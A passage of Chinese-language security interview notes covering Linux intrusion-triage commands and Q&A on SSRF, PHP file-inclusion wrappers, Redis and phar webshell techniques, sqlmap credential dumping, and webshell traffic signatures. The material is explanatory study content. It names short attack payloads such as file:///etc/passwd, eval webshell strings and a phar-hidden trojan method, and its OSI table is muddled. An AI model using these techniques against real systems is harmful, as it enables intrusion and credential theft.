后的宽限天数:账号失效时间:保留
1
2
3
who			查看当前登陆用户
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久,多少用户,负载

image-20230413191405619

入侵排查

查看特权用户(uid为0)

1
awk -F: '$3==0{print $1}' /etc/passwd

查看可以远程登陆的账户信息

1
awk '/\$1|\$6/{print $1}' /etc/shadow

除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限

1
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

禁用或删除多余以及可以的账户

1
2
3
4
usermod -L username 禁用帐号,帐号无法登录/etc/shadow第二栏为!开头
userdel username 删除用户
userdel -r username 将删除该用户,并且将/home下的user目录一并删除

历史命令

通过.bash_history查看帐号执行过的系统命令

如果想要执行历史命令中的某个命令直接感叹号

root的历史命令

1
history

查看某用户的操作历史

cat  /home/username/.bash_history

/etc/profile的文件尾部添加如下行数配置信息,可以显示登录的IP地址、执行命令时间等信息:

1
2
3
4
5
6
7
8
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

检查异常端口

使用netstat网络连接命令,分析可疑端口,IP,PID

1
2
3
4
netstat -antlp|more

查看pid所对应的进程文件路径
运行ls -l /proc/PID/exe 或file /proc/PID/exe (PID为对应的pid号)

检查异常进程

使用ps命令,分析进程

1
ps aux | grep pid

检查开机启动项

查看启动配置文件

1
2
ls -l /etc/rc*.d/
ls -l /etc/rc.d/rc[0~6].d

查看运行级别命令

1
runlevel

当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d目录下,然后在/etc/rc.d/rc*.d中建立软链 接即可 root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh 此处sshd是具体服务的脚本文件,S100ssh是其软链接,S开头代表加载时自启动;如果是K开头的脚本文件,代表运行 级别加载时需要关闭的。

检查定时任务

利用crontab创建计划任务

基本命令

crontab -l 列出某个用户cron服务的详细内容

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件

入侵排查

重点关注一下目录中是否存在恶意脚本

1
2
3
4
5
6
7
8
9
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

小技巧: more /etc/cron.daily/ 查看目录下所有文件*

检查服务

入侵排查

查询已安装的服务:

RPM包安装的服务

1
2
3
4
5
6
7
chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"

源码包安装的服务

1
2
3
查看服务安装位置 ,一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/ 查看是否存在
服务器自启动

第一种修改方法

1
2
3
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level 2345 httpd on 开启自启动
chkconfig httpd on (默认level是2345)

第二种修改方法

1
2
修改 /etc/re.d/rc.local 文件
加入 /etc/init.d/httpd start

第三种修改方法

1
使用ntsysv命令管理自启动,可以管理独立服务和xinetd服务

检查异常文件

查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“…”为名的文件夹具有隐藏属性

.test.txt前面带.的文件是隐藏文件

得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

可以使用find命令来查找,如 find /opt -iname “*” -atime 1 -type f 找出 /opt 下一天前访问过的文件

针对可疑文件可以使用stat进行创建修改时间

检查系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
| more
定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4]
[0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print
"$1\n";}'|uniq -c|sort -nr

登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001,
home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure

删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by
root(uid=0)

sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ;
COMMAND=/sbin/shutdown -r now

检查异常文件,找.php后缀文件

查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“…”为名的文件夹具有隐藏属性 2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件? 可以使用find命令来查找,如 find /opt -iname “*” -atime 1 -type f 找出 /opt 下一天前访问过的文件 3、针对可疑文件可以使用stat进行创建修改时间。

检查系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系 统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要 使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文 件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登 录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换 用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

35.OSI 的七层模型都有哪些?

img

OSI七层网络模型 TCP/IP四层概念模型 对应网络协议
应用层(Application) HTTP、TFTP, FTP, NFS, WAIS、SMTP
表示层(Presentation 应用层 Telnet, Rlogin, SNMP, Gopher
会话层(Session) SMTP, DNS
传输层(Transport) 传输层 TCP, UDP
网络层(Network) 网络层 IP, ICMP, ARP, RARP, AKP, UUCP
数据链路层(Data Link) 数据链路层 FDDI, Ethernet, Arpanet, PDN, SLIP, PPP
物理层(Physical) 数据链路层 IEEE 802.1A, IEEE 802.2到IEEE 802.11

OSI七层和TCP/IP的区别
TCP/IP他是一个协议簇;而OSI(开放系统互联)则是一个模型,且TCP/IP的开发时间在OSI之前。
TCP/IP是由一些交互性的模块做成的分层次的协议,其中每个模块提供特定的功能;OSi则指定了哪个功能是属于哪一层的。

36.任意文件读取,我们通常获取什么文件

/etc/passwd 系统用户配置文件,存储了系统中所有用户的基本信息

/index.php

/config.ini

nignx默认日志/var/log/nignx/access.log

apache默认日志/var/log/apache/access.log

37.ssrf使用了什么协议

gopher协议,file协议,dict协议

gopher协议通常是用脚本来编写的

file协议访问文件绝对路径

dict协议功能:

探测内网主机

探测端口的开放情况和指纹信息

执行命令

38.PHP文件包含使用了什么协议

  • php://filter(本地磁盘文件进行读取)

只是读取,需要开启allow_url_fopen,不需要开启allow_url_include;

1
php://filter/convert.base64-encode/resource=xxx.php
  • php://input 访问请求的原始数据的只读流,直接读取到POST上没有经过解析的原始数据。

1
2
php://input
[POST d
  • file:// 通过file伪协议可以访问本地文件系统,读取到文件的内容

不受allow_url_fopen与allow_url_include的影响

1
file:///etc/passwd
  • data://

注意浏览器不能识别+

1
2
data://text/plain;[编码类型],<?php phpinfo();?>
[对应的编码形式的字符]
  • phar:// php解压缩的一个函数,不管后缀是什么,都会当做压缩包来解压

注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤:写一个一句话木马shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式

1
2
?file=phar://压缩包/内部文件
?file=phar://xxx.png/shell.php
  • dict:// 探测内网主机,探测端口的开放情况和指纹信息,执行命令
1
dict://127.0.0.1:8000

用dict协议请求内网端口查看是否存活

在这里插入图片描述

39.各种数据库的区别,

数据库端口

关系型数据库:

  • MYSQL 3306
  • SQL Server 1433
  • Oracle 1521
  • DB2 5000

非关系型数据库:

  • Redis 6379
  • Memcached 11211
  • MongoDB 27017
  • HBase 列存储数据库

区别

关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织

非关系型数据库严格上不是一种数据库,应该是一种数据结构化存储方法的集合,可以是文档或者键值对等。

比如

Redis 键值数据库

MongoDB 文档数据库

HBase 列存储数据库

Neo4J (非关系型数据库----图形数据库)

数据库模型:对象模型、层次模型(轻量级数据访问协议)、网状模型(大型数据储存)、关系模型、面向对象模型、半结构化模型、平面模型(表格模型,一般在形式上是一个二维数组。如表格模型数据Excel)

40.Redis getshell的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Redis简介是一个开源、基于内存、高性能、可数据持久化的key-value存储系统,遵守BSD协议,可用作数据库、缓存和消息中间件。

**简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。**

redis的特性:支持多种数据类型、支持数据的持久化机制、支持事务控制、支持主从复制功能等。

Redis的数据存储是通过Key映射Value的方式,建立字典以保存数据。Redis共支持五种数据类型。

1)String(字符串)
Redis最基本的类型,一个key对应一个value。
(2)Hash(哈希表)
键值对集合,是一个string类型的数据域field和值value的映射表。
(3)List(列表)
字符串列表,按照插入顺序排序。支持在列表的头部或者尾部添加数据元素。
(4)Set(集合)
字符串类型的无序集合,支持添加、删除、查找,Redis还能对set进行交集、并集、差集等集合操作。
(5)Zset(有序集合)
字符串类型的有序集合,集合中的每个元素都会关联一个double类型的分数。Redis通过这个分数为集合进行排序。

绝对路径写shell,将shell写在web目录下

利用定时任务进行反弹shell(centos)

redis 主从复制getshell

  1. 配置文件写入slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

redis未授权公钥导入

Redis因为配置不当会导致未授权访问,在一定条件下,Redis服务器以root身份运行,攻击者就能给root账户写入SSH公钥文件,然后直接通过SSH登陆目标受害的服务器,就能够直接提权目标服务器,然后进行一系列的数据增删改查,甚至是泄露信息,勒索加密等.

一般情况下,Redis服务会绑定在服务器的6379端口上面,Redis配置是不会默认开启认证的,如果没有采取相关防御举措,如在防火墙添加规避举措,避免其他非信任的IP访问等,这将会把Redis的服务直接暴露在公网上

最直接的影响就是其他用户能够直接在未授权的情况下直接访问Redis服务器并进行相关恶意操作

未授权访问 --> 写入公钥 --> 变更Redis DB文件存放为公钥目录 -->使用私钥登录

未授权访问测试

Redis的默认配置是只允许本地访问,默认配置是空口令。

一般会使用Nmap对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器,然后进行恶意操作,黑客能够在未授权访问Redis的情况下,利用Redis自身提供的config命令,进行写文件操作,然后攻击者就能够将自己的ssh公钥写入目标Redis服务器的/root/.ssh文件中的authotrized_keys文件中,进而直接使用公钥对应的私钥直接使用ssh服务登录目标Redis服务器。

41.sqlmap怎么看当前用户权限

Enumeration:

-a, --all 查找全部,很暴力。直接用-a
-b, --banner 查找数据库管理系统的标识。直接用-b
--current-user 当前用户,常用,直接用--current-user
--current-db 当前数据库,常用,直接用--current-db
--hostname 主机名,直接用--hostname
--is-dba
--users 查询一共都有哪些用户,常用,直接用--users
--passwords 查询用户密码的哈希,常用,直接用--passwords
--privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
--roles 查看一共有哪些角色(权限),直接用--roles
--dbs 目标服务器中有什么数据库,常用,直接用--dbs
--tables 目标数据库有什么表,常用,直接用--tables
--columns 目标表中有什么列,常用,直接用--colums
--schema 目标数据库数据库系统管理模式。
--count 查询结果返回一个数字,即多少个。
--dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
--dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
--search 搜索列、表和/或数据库名称。
--comments 检索数据库的备注。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
-X EXCLUDE 指定数据库的标识符。
-U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
--exclude-sysdbs 除了系统数据库。
--pivot-column=P.. 枢轴列名,不懂。
--where=DUMPWHERE 在dump表时使用where限制条件。
--start=LIMITSTART 设置一个起始,通常和--dunmp连用。
--stop=LIMITSTOP 同上,设置一个结束。
--first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
--last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
--sql-query=QUERY 执行一个sql语句。
--sql-shell 创建一个sql的shell。
--sql-file=SQLFILE 执行一个给定文件中的sql语句

42.sqlmap --os-shell 后台执行了什么操作

sqlmap --os-shell,就是上传了两个php文件,一个上传一个tmpugvzq.php可以让我们上传文件到网站路径下,然后sqlmap这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行

  • 利用条件

secure_file_priv无限制—转义一些特殊字符

网站路径有写入权限

高权限数据库用户

知道网站的物理路径

43.nmap怎么隐藏ip扫描

1
nmap -sN;-sF;-sX 【目标】 隐蔽扫描
1
nmap -sN

特点:扫描效率低,需要等待超时,不能适用所有系统

发送NULL(原理同FIN)
\1. LISTEN端口丢弃
\2. CLOSED端口回复RST

1
nmap -sX

发送FIN+URG+PSH(原理同FIN)
\1. LISTEN端口丢弃
\2. CLOSED端口回复RST
特点:扫描效率低,需要等待超时,不能适用所有系统

1
nmap -sF

发送FIN
\1. LISTEN端口丢弃
\2. CLOSED端口回复RST
特点:扫描效率低,需要等待超时

44.挖过SRC吗?

教育SRC,漏洞盒子,CVE

45.用过哪些安全设备

waf,宝塔,微步云沙箱,D盾

用过比特梵得,卡巴斯基,火绒,360杀毒,金山毒霸

46.Webshell管理工具的流量特征

Cobalt Strike流量特征

心跳包

请求的url为/jquery-3.3.1.min.js,返回包的大小为5543,返回包到下一个请求包之间的时间为心跳时间。

img

sleep

请求的url为/jquery-3.3.1.min.js,返回包大小为5607,包含指令数据。执行完之后,下一个请求包按照新的时间发送心跳包。

img

shell

这里的shell指令,对应“shell whoami”,其请求的url为/jquery-3.3.1.min.js,返回包大小为5628,包含指令数据。下一个包发送POST请求,url为/jquery-3.3.2.min.js,body部分包含指令执行的结果,大小为96。另外,接收到指令到执行完指令,并返回结果,时间间隔为0.098093s。

img

菜刀

菜刀默认使用了base64编码,使用eval(有少数时候eval方法会被assert方法替代)

shell特征:默认传输参数名z0,还存在int_set("display_erros","0")字符串特征

payload的特征:

  1. php:
  2. asp:<%eval request(“caidao”)%>
  3. asp.net:<%@Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

数据包流量特征:

  1. 请求体中有eval,base64等特征字符
  2. 请求体中传递的payload为base64编码,并且是固定的

蚁剑

由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划线可替换为其他)所以,以**_0x开头的参数名**,也是一种特征

默认的蚁剑shell,连接时会请求两次,请求只是经过url编码

第一次请求,关闭报错和magic_quotes,接下来去获取主机的信息

第二次请求,会把主机目录列出来

magic_quotes中的常见设置会将一些特殊字符转义

payload的特征:

  1. php中使用assert,eval执行
  2. asp使用eval执行
  3. jsp中使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

数据包流量特征:请求体中一定有@in_set(“display_errors”,“0”);@set_time_limit(0)开头,后面存在base64等字符

冰蝎

冰蝎强特征:content-type为application/octet-stream

冰蝎2.0

使用AES加密发起三次请求

第一次请求服务端产生密钥写入session,session和当前会话绑定不同的客户

第二次请求是为了获取key

第三次使用key和AES加密进行通信

冰蝎3.0

使用AES加密发起请求

3.0比2.0少了动态密钥的获取请求,不在使用随机生成的key,改为取连接密码的md5加密值的前16位作为密钥

第一次请求为判断是否可以建立连接,少了两次get获取冰蝎动态密钥的行为

第二次发送phpinfo等代码执行,获取网站信息

冰蝎4.0

4.0提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。4.0不再有连接密码的概念,你的自定义传输协议的算法就是连接密码

流量特征Content-Type字段

PHP站点:Application/x-www-form-urlencoded
ASP站点:Application/octet-stream

User-agent 字段

冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。

流量特征长连接

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。

1
Connection: Keep-Alive
流量特征固定的请求头和响应头

PHP站点默认口令Default_xor_base64协议加密流量特征,请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

PHP站点默认口令Default_aes协议加密流量特征,请求字节头:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK

响应字节头:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

JSP站点默认口令Default_xor_base64协议,aes_with_magic协议,Default_aes协议,加密流量特征,响应字节头:
QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ

端口

冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。

HP webshell 中存在固定代码

$post=Decrypt(file_get_contents(“php://input”));

eval($post);

流量特征连接密码

默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

哥斯拉

ookie

在Cookie中有一个很明显的特征:最后有一个分号

响应体

从代码中可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分

整个响应包的结构体征为:md5前十六位+base64+md5后十六位

1
72a9c691ccdaab98fL1tMGI4YTljO/5+/PlQm9MGV7lTjFUKUdfQMDL/j64wJ2UwYg==b4c4e1f6ddd2a488
连接特征
  1. 请求1:发送一段固定代码(payload),返回内容为空
  2. 请求2:发送一段固定代码(test),返回内容为固定字符串,如下:72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488,解密后即为ok。如果连接失败返回内容为空,且不发起请求3
  3. 请求3:发送一段固定代码(getBacisInfo),返回内容为固定字符串(对应服务器信息)

47.shiro550和shiro721的区别

shiro550

*漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥

shiro721

漏洞原理:
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。

影响版本:

Apache Shiro < 1.4.2版本。

漏洞流程:

登录网站获取合法Cookie

使用rememberMe字段进行Padding Oracle Attack,获取intermediary

利用intermediary构造出恶意的反序列化密文作为Cookie

使用新的Cookie请求网站执行攻击

漏洞利用:

在Shiro550中,我们可以直接通过硬编码密钥直接生成攻击密文。但是Shiro721使用了动态密钥,无法直接获取密钥。但是仍然可以通过Padding Oracle Attack绕过密钥,直接生成攻击密文。

**出网协议:**jndi、ldap、rmi、JRMP、JMX、JMS

48.java反序列化了解吗?讲一些shiro550漏洞

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥

rememberSerializedIdentity()方法中会对我们传入的序列化字符串serialized进行base加密并将其作为Cookie。

最终跟进到onSuccessfulLogin()方法中,再次跟进,可以看到该方法被rememberMeSuccessfulLogin()调用,这里应该就是”记住我”的功能点了,我们再这里下个断点调试

跟进removeFrom()方法,removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe

convertPrincipalsToBytes()方法中,先对用户名进行序列化,然后使用encrypt()进行加密,

encrypt()中,可以看到使用的加密算法是AES,使用AES算法对cookie进行加密。

getEncryptionCipherKey()方法返回加密的密钥,我们跟进看一下加密的密钥是什么

AbstractRememberMeManager()方法中赋值,可以看见这里这个常量应该就是密钥

可以看见密钥*DEFAULT_CIPHER_KEY_BYTES*是一个常量,这里就是漏洞利用的关键点

img

49.了解过鱼叉攻击和水坑攻击吗?

**鱼叉攻击:**钓鱼邮件 有针对性

**水坑攻击:**技术含量比较高了,需要先找出目标经常浏览网站的

**水坑攻击:**watering hole。在受害者必经之路设置一个水坑,就是陷进。常见的做法是攻击者分析攻击目标的上网活动规律,经常访问哪些网站,然后利用网站漏洞在其中植入攻击代码,用户访问该网站就中招了。这种方式隐蔽性高,成功率较高。但有一定条件,网站要有漏洞可利用,以便用于部署恶意代码。用户访问被“加工”过的网站时,攻击代码会在客户端植入恶意代码或者直接窃取用户信息,有些就是将用户跳转到其他恶意网站。这些恶意网站中,恶意软件正等待将其与后续的网络钓鱼或勒索软件攻击挂钩。

鱼叉攻击:社工的方式很多人都明白,但是真有些防不胜防,比较多的方式还是使用钓鱼邮件,那我们就看看(spear phishing)鱼叉攻击。鱼叉攻击,肯定是有看到了鱼再叉,也就是有针对性的攻击,目标明确,比如公司或团体,给这些特定团体发送包含木马的邮件,这种邮件要让受害者打开,就需要一个欺骗和迷惑的标题。这个题目和内容的构造就考验红方的想象力了。比如打补丁的通知邮件,放假通知安排,投诉举报,简历投递或者来点公司的劲爆信息引爆吃瓜群众。员工点了附件之后,就中了木马,黑客在远端就可以远程控制这个电脑了。

50.报错注入有哪些函数?

  • floor()函数

    一个最重要的特性,就是group by与rand()使用时,如果临时表中没有该主键,则在插入前rand()会再计算一次(也就是两次,但有些博客写的是多次,这个多次到底是几次并不知道,但是以两次来理解下面的实验都能说的通)。就是这个特性导致了主键重复并报错。又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

    报错的原因是因为**rand()函数在查询的时候会执行一次,插入的时候还会执行一次.**这就是整个语句报错的关键

  • updatexml报错

    updatexml(XML_document,XPath_string,new_value)

    1
    2
    3
    第一个参数:XML_document是String格式,为XML文档对象的名称
    第二个参数:XPath格式的字符串,
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    updatexml第二个参数需要的是XPath格式的字符串。我们输入的不符合。故报错。(可以通过爆破来找出更多null)

    updatexml回显的最大长度为32位,可以用limit解决。

  • extravalue报错

    extractvalue():从目标XML中返回包含所查询值的字符串。

    EXTRAVALUE()(XML_document,XPath_string);

    1
    2
    第一个参数:XML_document---是string格式,为XML文档对象的名称
    第二个参数:XPath_string---(XPath格式的字符串)

    报错原因与updatexml一样:不是XPath格式字符串

    并且也只能传回32位

  • 整数溢出报错

  • exp报错

  • pow报错

还有更多

https://blog.csdn.net/qq_43348375/article/details/123909559?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-123909559-blog-122846028.pc_relevant_blogantidownloadv1&spm=1001.2101.3001.4242.1&utm_relevant_index=3

51.二次注入原理是什么?

举个简单的例子就是:

当我们对这个网站入进去了一个代码语句而这个代码的功能就是生成一个查询用户的sql语句

当我们去执行这个sql语句的时候他就会返回用户了

我去调用内鬼就类似是一次注入了

内鬼的内鬼接受到命令查询就二次注入了

具体来讲

有两个界面,1.php是用户注册的页面(不一定是注册,主要是一个可以插入sql语句的页面),另外一个2.php通过某些参数(比如ID)去读取用户信息(比如用户名)的页面。在注册用户名的页面,我们注册一个 test’ 的用户,这个单引号被成功插入到了数据库(先不管用户名不给单引号的事实,可以是插入其他的信息,比如个签等)。

因此这里我们就可以成功将单引号插入到数据库中,在2.php我们去查询这个用户名的时候,如果在取出用户名的时候没有进行addslashes过滤,那我们的单引号就可以成功被带出来供我们下一步的使用了。

这个例子就是在第一步构造出能够被单引号闭合的用户名,

在第二步查询用户名的时候就可以利于单引号

52.堆叠注入原理是什么?

原理:堆叠注入就是利用了堆叠查询可以执行多条语句,多语句之间以分号隔开的特点,在第二个sql语句中构造自己想要执行的语句。

由于现在很多都会采用PDO预编译来预防sql注入问题,虽然PDO可以执行多语句,但是PDO只会返回第一条sql语句执行的结果,所以在第二条语句可以用update更新数据或者使用时间盲注获取数据

53.讲一讲weblogic有哪些CVE

  • 反序列化漏洞
  • 远程代码执行漏洞
  • 任意文件读取漏洞
  • 文件上传漏洞
  • jndi注入
  • coherence组件iiop反序列化漏洞
  • UniversalExtractor反序列化漏洞
  • github上还有漏洞扫描工具

54.Fastjson漏洞原理

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

  • Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
  • Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

防护

不使用autotype

55.如何判断shiro框架?

返回包中包含rememberMe=deleteMe字段。

Remember勾选后,返回一个极长的cookie

56.你还知道哪些框架?框架哪些漏洞?如何修复?

  • thinkphp

远程命令执行

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入 \ 符号来调用任意类方法。

防护

安装补丁,更新到最新版本

  • Flask

  1. jinja2 模板注入(Mako jinja2 Twig Smarty)
  2. PIN 码 rce
  3. session 伪造

就是SSTI

原理:

在题目中好像是要从类里调用函数调用变量,调用对象来进行注入

  • Struts2

S2-057,S2-001远程代码执行漏洞—远程代码执行

Spring

Shiro550,527

Fastjson

反序列化漏洞被利用的原因,可以归结为两方面:

  • Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
  • Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

防护

不使用autotype

SSTI

57.域接触多少?

是Windows的一种服务,是一个个目录数据库,集中存储着整个Windows网络中的用户账号,组,计算机,共享文件夹等对象信息。

**域(Domain):**将网络中的多台计算机通过逻辑的方式组织到一起,进行集中管理,这种集中管理的环境称为域。

域控制器(Domain Controller,DC):每个域中至少有一台域控制器、集中存放整个域的用户账号和安全数据库,安装了活动目录(AD)的主机称为域控制器。

活动目录(Active Directory,AD):活动目录是一个目录数据库,存储整个windows网络中对象的相关信息(可以理解为存储了网络中所有资源的快捷方式)。也是一种服务,可对活动目录中数据执行各种操作。

父域和子域:出于管理需求,需要在网络中划分多个域。第一个域称为父域,各分部的域称为子域。不同的域之间,信息交互的条目会大大减少,且可以压缩后进行交互,节约带宽。并且域管可以针对各个域,设置不同的安全策略,灵活管理。

域树 (Tree):域管只能管理本域,如果需要管理其他域,则需要建立信任关系,域树则是指多个域通过建立信任关系组成的集合。同理,多个域树通过建立信任关系组成的集合则称为域林。

域名服务器 (DNS):用于实现域名和与之对应的IP地址之间相互转换。因为域中的计算机是使用DNS来定位域控和其他服务器的,所以域的名字就是DNS域的名字。(DNS和DC一般在同一台机器上)

https://blog.csdn.net/weixin_42322913/article/details/109636636

如何判断域控?

systeminfonet view /domainnet config /domain

横向渗透 纵向渗透

Outlook Web App (OWA)

58.有没有搭过应急环境

指的是靶场吗?搭过红日系列的靶场,里面的痕迹清除也算是一种应对入侵的方式吧(应该要问应急响应)

59.XXE是不是TOP10?

有的文章说是,有的说不是

XXE曾是OWASP Top 10 的第四位,但在2021年的版本中安全配置错误的类别

漏洞类别区分没有很明显

